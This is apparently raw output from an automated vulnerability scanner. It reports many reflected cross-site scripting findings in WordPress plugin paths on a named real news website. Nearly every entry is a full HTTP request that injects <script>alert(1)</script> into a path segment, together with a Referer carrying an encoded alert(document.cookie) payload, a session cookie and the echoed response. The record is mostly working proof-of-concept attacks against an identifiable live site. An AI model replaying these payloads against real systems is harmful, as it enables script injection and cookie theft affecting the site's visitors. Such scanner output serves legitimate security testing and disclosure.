GET /wp-content/pluginsc839d"><script>alert(1)</script>7284c39bd27/nextgen-smooth-gallery/SmoothGallery/scripts/jd.gallery.transitions.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3ac9"><script>alert(1)</script>441c81ccd97 was submitted in the REST URL parameter 3. This input was echoed as e3ac9\"><script>alert(1)</script>441c81ccd97 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallerye3ac9"><script>alert(1)</script>441c81ccd97/SmoothGallery/scripts/jd.gallery.transitions.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c990"><script>alert(1)</script>1062e2d3ae1 was submitted in the REST URL parameter 4. This input was echoed as 1c990\"><script>alert(1)</script>1062e2d3ae1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery/SmoothGallery1c990"><script>alert(1)</script>1062e2d3ae1/scripts/jd.gallery.transitions.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dba45"><script>alert(1)</script>288fa1eb525 was submitted in the REST URL parameter 5. This input was echoed as dba45\"><script>alert(1)</script>288fa1eb525 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery/SmoothGallery/scriptsdba45"><script>alert(1)</script>288fa1eb525/jd.gallery.transitions.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbd01"><script>alert(1)</script>e845298fba6 was submitted in the REST URL parameter 6. This input was echoed as dbd01\"><script>alert(1)</script>e845298fba6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery/SmoothGallery/scripts/jd.gallery.transitions.jsdbd01"><script>alert(1)</script>e845298fba6 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18b22"><script>alert(1)</script>617478328a6 was submitted in the REST URL parameter 1. This input was echoed as 18b22\"><script>alert(1)</script>617478328a6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content18b22"><script>alert(1)</script>617478328a6/plugins/nextgen-smooth-gallery/SmoothGallery/scripts/mootools.v1.11.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc5ab"><script>alert(1)</script>856e2c5dba6 was submitted in the REST URL parameter 2. This input was echoed as fc5ab\"><script>alert(1)</script>856e2c5dba6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/pluginsfc5ab"><script>alert(1)</script>856e2c5dba6/nextgen-smooth-gallery/SmoothGallery/scripts/mootools.v1.11.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3eb1c"><script>alert(1)</script>67ed783e3fc was submitted in the REST URL parameter 3. This input was echoed as 3eb1c\"><script>alert(1)</script>67ed783e3fc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery3eb1c"><script>alert(1)</script>67ed783e3fc/SmoothGallery/scripts/mootools.v1.11.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4896"><script>alert(1)</script>ad0bbe39789 was submitted in the REST URL parameter 4. This input was echoed as b4896\"><script>alert(1)</script>ad0bbe39789 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery/SmoothGalleryb4896"><script>alert(1)</script>ad0bbe39789/scripts/mootools.v1.11.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28111"><script>alert(1)</script>770bdc224d7 was submitted in the REST URL parameter 5. This input was echoed as 28111\"><script>alert(1)</script>770bdc224d7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery/SmoothGallery/scripts28111"><script>alert(1)</script>770bdc224d7/mootools.v1.11.js HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8908f"><script>alert(1)</script>1817db57aa4 was submitted in the REST URL parameter 6. This input was echoed as 8908f\"><script>alert(1)</script>1817db57aa4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-smooth-gallery/SmoothGallery/scripts/mootools.v1.11.js8908f"><script>alert(1)</script>1817db57aa4 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 373cd"><script>alert(1)</script>3354bc166e1 was submitted in the REST URL parameter 1. This input was echoed as 373cd\"><script>alert(1)</script>3354bc166e1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content373cd"><script>alert(1)</script>3354bc166e1/plugins/sociable/addtofavorites.js?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 353d7"><script>alert(1)</script>554ec6165a7 was submitted in the REST URL parameter 2. This input was echoed as 353d7\"><script>alert(1)</script>554ec6165a7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins353d7"><script>alert(1)</script>554ec6165a7/sociable/addtofavorites.js?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a122"><script>alert(1)</script>7fd0f0415b4 was submitted in the REST URL parameter 3. This input was echoed as 5a122\"><script>alert(1)</script>7fd0f0415b4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/sociable5a122"><script>alert(1)</script>7fd0f0415b4/addtofavorites.js?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 23774"><script>alert(1)</script>ff723871d47 was submitted in the REST URL parameter 4. This input was echoed as 23774\"><script>alert(1)</script>ff723871d47 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/sociable/addtofavorites.js23774"><script>alert(1)</script>ff723871d47?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2d31"><script>alert(1)</script>f9090a69f3c was submitted in the REST URL parameter 1. This input was echoed as b2d31\"><script>alert(1)</script>f9090a69f3c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-contentb2d31"><script>alert(1)</script>f9090a69f3c/plugins/sociable/sociable.css?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8fc8"><script>alert(1)</script>c3d97fdb428 was submitted in the REST URL parameter 2. This input was echoed as f8fc8\"><script>alert(1)</script>c3d97fdb428 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/pluginsf8fc8"><script>alert(1)</script>c3d97fdb428/sociable/sociable.css?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5864b"><script>alert(1)</script>079c87b45a3 was submitted in the REST URL parameter 3. This input was echoed as 5864b\"><script>alert(1)</script>079c87b45a3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/sociable5864b"><script>alert(1)</script>079c87b45a3/sociable.css?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e908b"><script>alert(1)</script>d798268978b was submitted in the REST URL parameter 4. This input was echoed as e908b\"><script>alert(1)</script>d798268978b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/sociable/sociable.csse908b"><script>alert(1)</script>d798268978b?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47b02"><script>alert(1)</script>1abba2b880f was submitted in the REST URL parameter 1. This input was echoed as 47b02\"><script>alert(1)</script>1abba2b880f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content47b02"><script>alert(1)</script>1abba2b880f/plugins/world-cup-predictor/css/style.css?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9513"><script>alert(1)</script>d24334c8c0c was submitted in the REST URL parameter 2. This input was echoed as e9513\"><script>alert(1)</script>d24334c8c0c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/pluginse9513"><script>alert(1)</script>d24334c8c0c/world-cup-predictor/css/style.css?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7857"><script>alert(1)</script>6753ffa0f83 was submitted in the REST URL parameter 3. This input was echoed as d7857\"><script>alert(1)</script>6753ffa0f83 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/world-cup-predictord7857"><script>alert(1)</script>6753ffa0f83/css/style.css?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1af4"><script>alert(1)</script>4c08046b926 was submitted in the REST URL parameter 4. This input was echoed as f1af4\"><script>alert(1)</script>4c08046b926 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/world-cup-predictor/cssf1af4"><script>alert(1)</script>4c08046b926/style.css?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f277"><script>alert(1)</script>ed00e9a8766 was submitted in the REST URL parameter 5. This input was echoed as 3f277\"><script>alert(1)</script>ed00e9a8766 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/world-cup-predictor/css/style.css3f277"><script>alert(1)</script>ed00e9a8766?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95530"><script>alert(1)</script>c4240e06647 was submitted in the REST URL parameter 1. This input was echoed as 95530\"><script>alert(1)</script>c4240e06647 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content95530"><script>alert(1)</script>c4240e06647/plugins/world-cup-predictor/js/wcp.js?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e4ed"><script>alert(1)</script>c4029a74899 was submitted in the REST URL parameter 2. This input was echoed as 9e4ed\"><script>alert(1)</script>c4029a74899 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
